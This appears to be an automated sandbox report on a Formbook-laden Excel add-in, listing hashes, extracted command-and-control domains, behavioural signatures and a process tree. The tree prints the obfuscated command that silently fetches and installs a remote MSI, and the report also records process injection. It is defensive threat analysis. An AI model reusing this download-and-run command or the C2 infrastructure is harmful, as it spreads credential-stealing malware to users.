Analysis
-
max time kernel
151s -
max time network
150s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
06-05-2021 13:43
Static task
static1
Behavioral task
behavioral1
Sample
14.xlam
Resource
win7v20210408
General
-
Target
14.xlam
-
Size
15KB
-
MD5
11e9376ee19889ee5c08e816b1d3b231
-
SHA1
d22b56bedc58de7da73d647a5f3048b9cabc17d7
-
SHA256
cfee90218720f31491495dd353027017808fb3b9524d6c86ddfd016a372f627c
-
SHA512
fe846e63b1616166bebed98bdea82f1d141a23a0abc68cf6dc94216f9b0242859dcebd5471aa0943a46a5ecfca1e430badaf049db4469ec3a13a252b2eb8164b
Malware Config
Extracted
formbook
4.1
http://www.111bjs.com/ccr/
abdullahlodhi.com
jevya.com
knoxvillerestaurant.com
mekarauroko7389.com
cricketspowder.net
johannchirinos.com
orangeorganical.com
libero-tt.com
lorenaegianluca.com
wintab.net
modernmillievintage.com
zgdqcyw.com
jeffabildgaardmd.com
nurulfikrimakassar.com
findyourchef.com
innovationsservicegroup.com
destek-taleplerimiz.com
whfqqco.icu
kosmetikmadeingermany.com
dieteticos.net
savarsineklik.com
newfashiontrends.com
e-mobilitysolutions.com
spaced.ltd
amjadalitrading.com
thejstutor.com
zzhqp.com
exoticomistico.com
oklahomasundayschool.com
grwfrog.com
elementsfitnessamdwellbeing.com
auldontoyworld.com
cumhuriyetcidemokratparti.kim
thetruthinternational.com
adimadimingilizce.com
retreatwinds.com
duoteshop.com
jasonkokrak.com
latindancextreme.com
agavedeals.com
motz.xyz
kspecialaroma.com
yuejinjc.com
print12580.com
ampsports.tennis
affordablebathroomsarizona.com
casnop.com
driftwestcoastmarket.com
bjsjygg.com
gwpjamshedpur.com
reserveacalifornia.com
caobv.com
culturaenmistacones.com
back-upstore.com
jjsmiths.com
iamxc.com
siobhankrittiya.com
digitalakanksha.com
koatku.com
shamushalkowich.com
merplerps.com
fishexpertise.com
sweetheartmart.com
nqs.xyz
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1972 1820 cmd.exe EXCEL.EXE -
Formbook Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/848-75-0x0000000000400000-0x000000000042E000-memory.dmp formbook behavioral1/memory/1296-82-0x0000000000070000-0x000000000009E000-memory.dmp formbook -
Blocklisted process makes network request 1 IoCs
Processes:
msiexec.exeflow pid process 5 1324 msiexec.exe -
Executes dropped EXE 2 IoCs
Processes:
MSI8F48.tmpMSI8F48.tmppid process 1732 MSI8F48.tmp 848 MSI8F48.tmp -
Loads dropped DLL 1 IoCs
Processes:
MSI8F48.tmppid process 1732 MSI8F48.tmp -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 1308 msiexec.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exedescription ioc process File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\B: msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
MSI8F48.tmpMSI8F48.tmpcscript.exedescription pid process target process PID 1732 set thread context of 848 1732 MSI8F48.tmp MSI8F48.tmp PID 848 set thread context of 1208 848 MSI8F48.tmp Explorer.EXE PID 1296 set thread context of 1208 1296 cscript.exe Explorer.EXE -
Drops file in Windows directory 6 IoCs
Processes:
msiexec.exedescription ioc process File opened for modification C:\Windows\Installer\MSI8871.tmp msiexec.exe File created C:\Windows\Installer\f748cf5.ipi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI8EE8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8F48.tmp msiexec.exe File opened for modification C:\Windows\Installer\f748cf5.ipi msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
NSIS installer 6 IoCs
Processes:
resource yara_rule C:\Windows\Installer\MSI8F48.tmp nsis_installer_1 C:\Windows\Installer\MSI8F48.tmp nsis_installer_2 C:\Windows\Installer\MSI8F48.tmp nsis_installer_1 C:\Windows\Installer\MSI8F48.tmp nsis_installer_2 C:\Windows\Installer\MSI8F48.tmp nsis_installer_1 C:\Windows\Installer\MSI8F48.tmp nsis_installer_2 -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE -
Modifies data under HKEY_USERS 1 IoCs
Processes:
msiexec.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1820 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
msiexec.exeMSI8F48.tmpcscript.exepid process 1324 msiexec.exe 1324 msiexec.exe 848 MSI8F48.tmp 848 MSI8F48.tmp 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe 1296 cscript.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1208 Explorer.EXE -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
MSI8F48.tmpMSI8F48.tmpcscript.exepid process 1732 MSI8F48.tmp 848 MSI8F48.tmp 848 MSI8F48.tmp 848 MSI8F48.tmp 1296 cscript.exe 1296 cscript.exe -
Suspicious use of AdjustPrivilegeToken 50 IoCs
Processes:
msiexec.exemsiexec.exeMSI8F48.tmpcscript.exeExplorer.EXEdescription pid process Token: SeShutdownPrivilege 1308 msiexec.exe Token: SeIncreaseQuotaPrivilege 1308 msiexec.exe Token: SeRestorePrivilege 1324 msiexec.exe Token: SeTakeOwnershipPrivilege 1324 msiexec.exe Token: SeSecurityPrivilege 1324 msiexec.exe Token: SeCreateTokenPrivilege 1308 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1308 msiexec.exe Token: SeLockMemoryPrivilege 1308 msiexec.exe Token: SeIncreaseQuotaPrivilege 1308 msiexec.exe Token: SeMachineAccountPrivilege 1308 msiexec.exe Token: SeTcbPrivilege 1308 msiexec.exe Token: SeSecurityPrivilege 1308 msiexec.exe Token: SeTakeOwnershipPrivilege 1308 msiexec.exe Token: SeLoadDriverPrivilege 1308 msiexec.exe Token: SeSystemProfilePrivilege 1308 msiexec.exe Token: SeSystemtimePrivilege 1308 msiexec.exe Token: SeProfSingleProcessPrivilege 1308 msiexec.exe Token: SeIncBasePriorityPrivilege 1308 msiexec.exe Token: SeCreatePagefilePrivilege 1308 msiexec.exe Token: SeCreatePermanentPrivilege 1308 msiexec.exe Token: SeBackupPrivilege 1308 msiexec.exe Token: SeRestorePrivilege 1308 msiexec.exe Token: SeShutdownPrivilege 1308 msiexec.exe Token: SeDebugPrivilege 1308 msiexec.exe Token: SeAuditPrivilege 1308 msiexec.exe Token: SeSystemEnvironmentPrivilege 1308 msiexec.exe Token: SeChangeNotifyPrivilege 1308 msiexec.exe Token: SeRemoteShutdownPrivilege 1308 msiexec.exe Token: SeUndockPrivilege 1308 msiexec.exe Token: SeSyncAgentPrivilege 1308 msiexec.exe Token: SeEnableDelegationPrivilege 1308 msiexec.exe Token: SeManageVolumePrivilege 1308 msiexec.exe Token: SeImpersonatePrivilege 1308 msiexec.exe Token: SeCreateGlobalPrivilege 1308 msiexec.exe Token: SeRestorePrivilege 1324 msiexec.exe Token: SeTakeOwnershipPrivilege 1324 msiexec.exe Token: SeRestorePrivilege 1324 msiexec.exe Token: SeTakeOwnershipPrivilege 1324 msiexec.exe Token: SeRestorePrivilege 1324 msiexec.exe Token: SeTakeOwnershipPrivilege 1324 msiexec.exe Token: SeRestorePrivilege 1324 msiexec.exe Token: SeTakeOwnershipPrivilege 1324 msiexec.exe Token: SeRestorePrivilege 1324 msiexec.exe Token: SeTakeOwnershipPrivilege 1324 msiexec.exe Token: SeRestorePrivilege 1324 msiexec.exe Token: SeTakeOwnershipPrivilege 1324 msiexec.exe Token: SeDebugPrivilege 848 MSI8F48.tmp Token: SeDebugPrivilege 1296 cscript.exe Token: SeShutdownPrivilege 1208 Explorer.EXE Token: SeShutdownPrivilege 1208 Explorer.EXE -
Suspicious use of FindShellTrayWindow 6 IoCs
Processes:
EXCEL.EXEExplorer.EXEpid process 1820 EXCEL.EXE 1820 EXCEL.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Explorer.EXEpid process 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1820 EXCEL.EXE 1820 EXCEL.EXE 1820 EXCEL.EXE -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
EXCEL.EXEcmd.exemsiexec.exeMSI8F48.tmpExplorer.EXEcscript.exedescription pid process target process PID 1820 wrote to memory of 1972 1820 EXCEL.EXE cmd.exe PID 1820 wrote to memory of 1972 1820 EXCEL.EXE cmd.exe PID 1820 wrote to memory of 1972 1820 EXCEL.EXE cmd.exe PID 1820 wrote to memory of 1972 1820 EXCEL.EXE cmd.exe PID 1972 wrote to memory of 1308 1972 cmd.exe msiexec.exe PID 1972 wrote to memory of 1308 1972 cmd.exe msiexec.exe PID 1972 wrote to memory of 1308 1972 cmd.exe msiexec.exe PID 1972 wrote to memory of 1308 1972 cmd.exe msiexec.exe PID 1972 wrote to memory of 1308 1972 cmd.exe msiexec.exe PID 1972 wrote to memory of 1308 1972 cmd.exe msiexec.exe PID 1972 wrote to memory of 1308 1972 cmd.exe msiexec.exe PID 1324 wrote to memory of 1732 1324 msiexec.exe MSI8F48.tmp PID 1324 wrote to memory of 1732 1324 msiexec.exe MSI8F48.tmp PID 1324 wrote to memory of 1732 1324 msiexec.exe MSI8F48.tmp PID 1324 wrote to memory of 1732 1324 msiexec.exe MSI8F48.tmp PID 1732 wrote to memory of 848 1732 MSI8F48.tmp MSI8F48.tmp PID 1732 wrote to memory of 848 1732 MSI8F48.tmp MSI8F48.tmp PID 1732 wrote to memory of 848 1732 MSI8F48.tmp MSI8F48.tmp PID 1732 wrote to memory of 848 1732 MSI8F48.tmp MSI8F48.tmp PID 1732 wrote to memory of 848 1732 MSI8F48.tmp MSI8F48.tmp PID 1208 wrote to memory of 1296 1208 Explorer.EXE cscript.exe PID 1208 wrote to memory of 1296 1208 Explorer.EXE cscript.exe PID 1208 wrote to memory of 1296 1208 Explorer.EXE cscript.exe PID 1208 wrote to memory of 1296 1208 Explorer.EXE cscript.exe PID 1296 wrote to memory of 1600 1296 cscript.exe cmd.exe PID 1296 wrote to memory of 1600 1296 cscript.exe cmd.exe PID 1296 wrote to memory of 1600 1296 cscript.exe cmd.exe PID 1296 wrote to memory of 1600 1296 cscript.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\14.xlam2⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com/admin/4409212.msi /qn3⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exemSiExec /i http://farm-finn.com/admin/4409212.msi /qn4⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cscript.exe"C:\Windows\SysWOW64\cscript.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Windows\Installer\MSI8F48.tmp"3⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI8F48.tmp"C:\Windows\Installer\MSI8F48.tmp"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI8F48.tmp"C:\Windows\Installer\MSI8F48.tmp"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\Installer\MSI8F48.tmpMD5
d8a19f13154e81e9d526077422655453
SHA1573e6aed1534203b36f9a8e5121c125b02e11b0f
SHA256b525832c63ea5d05a8afde822fcb39e5fb759497e7c2c986a5673fec721ed853
SHA512193344e672c7fb66fbd6acc2608c1d9acf360091ddf8086e5609e5a8ed511e1117fc2b7eb7cb43b56e984bf9f98f6a7648f8f1b0defc1416b2dca3c557ae39ae
-
C:\Windows\Installer\MSI8F48.tmpMD5
d8a19f13154e81e9d526077422655453
SHA1573e6aed1534203b36f9a8e5121c125b02e11b0f
SHA256b525832c63ea5d05a8afde822fcb39e5fb759497e7c2c986a5673fec721ed853
SHA512193344e672c7fb66fbd6acc2608c1d9acf360091ddf8086e5609e5a8ed511e1117fc2b7eb7cb43b56e984bf9f98f6a7648f8f1b0defc1416b2dca3c557ae39ae
-
C:\Windows\Installer\MSI8F48.tmpMD5
d8a19f13154e81e9d526077422655453
SHA1573e6aed1534203b36f9a8e5121c125b02e11b0f
SHA256b525832c63ea5d05a8afde822fcb39e5fb759497e7c2c986a5673fec721ed853
SHA512193344e672c7fb66fbd6acc2608c1d9acf360091ddf8086e5609e5a8ed511e1117fc2b7eb7cb43b56e984bf9f98f6a7648f8f1b0defc1416b2dca3c557ae39ae
-
\Users\Admin\AppData\Local\Temp\nsn9020.tmp\3dd73lht.dllMD5
df8beafa8d4250032a73e261c80e35e3
SHA13ced0abd9f02d24d79ede5052f661108b01df997
SHA256a57717b0b91bb128761a4363d12cacd45431c7e512d5a8d307b40cf30e6a26da
SHA512bf9fd7009e3c4919b2b230748c8f3795423b4e7e57d82d531a31682916dfb589c2df2b20320a51b532e21dec98ce597a4a80589ec5fa442417274661e1c9d1ce
-
memory/848-75-0x0000000000400000-0x000000000042E000-memory.dmpFilesize
184KB
-
memory/848-77-0x00000000003D0000-0x00000000003E4000-memory.dmpFilesize
80KB
-
memory/848-76-0x0000000000970000-0x0000000000C73000-memory.dmpFilesize
3.0MB
-
memory/848-72-0x000000000041EBB0-mapping.dmp
-
memory/1208-85-0x0000000006C20000-0x0000000006D63000-memory.dmpFilesize
1.3MB
-
memory/1208-78-0x0000000004CF0000-0x0000000004DE1000-memory.dmpFilesize
964KB
-
memory/1296-79-0x0000000000000000-mapping.dmp
-
memory/1296-82-0x0000000000070000-0x000000000009E000-memory.dmpFilesize
184KB
-
memory/1296-84-0x00000000008D0000-0x0000000000963000-memory.dmpFilesize
588KB
-
memory/1296-81-0x0000000000970000-0x0000000000992000-memory.dmpFilesize
136KB
-
memory/1296-83-0x0000000002070000-0x0000000002373000-memory.dmpFilesize
3.0MB
-
memory/1308-64-0x0000000000000000-mapping.dmp
-
memory/1308-65-0x0000000076641000-0x0000000076643000-memory.dmpFilesize
8KB
-
memory/1324-66-0x000007FEFBED1000-0x000007FEFBED3000-memory.dmpFilesize
8KB
-
memory/1600-80-0x0000000000000000-mapping.dmp
-
memory/1732-74-0x0000000000570000-0x0000000000572000-memory.dmpFilesize
8KB
-
memory/1732-67-0x0000000000000000-mapping.dmp
-
memory/1820-62-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1820-60-0x000000002F931000-0x000000002F934000-memory.dmpFilesize
12KB
-
memory/1820-61-0x00000000716D1000-0x00000000716D3000-memory.dmpFilesize
8KB
-
memory/1820-86-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1972-63-0x0000000000000000-mapping.dmp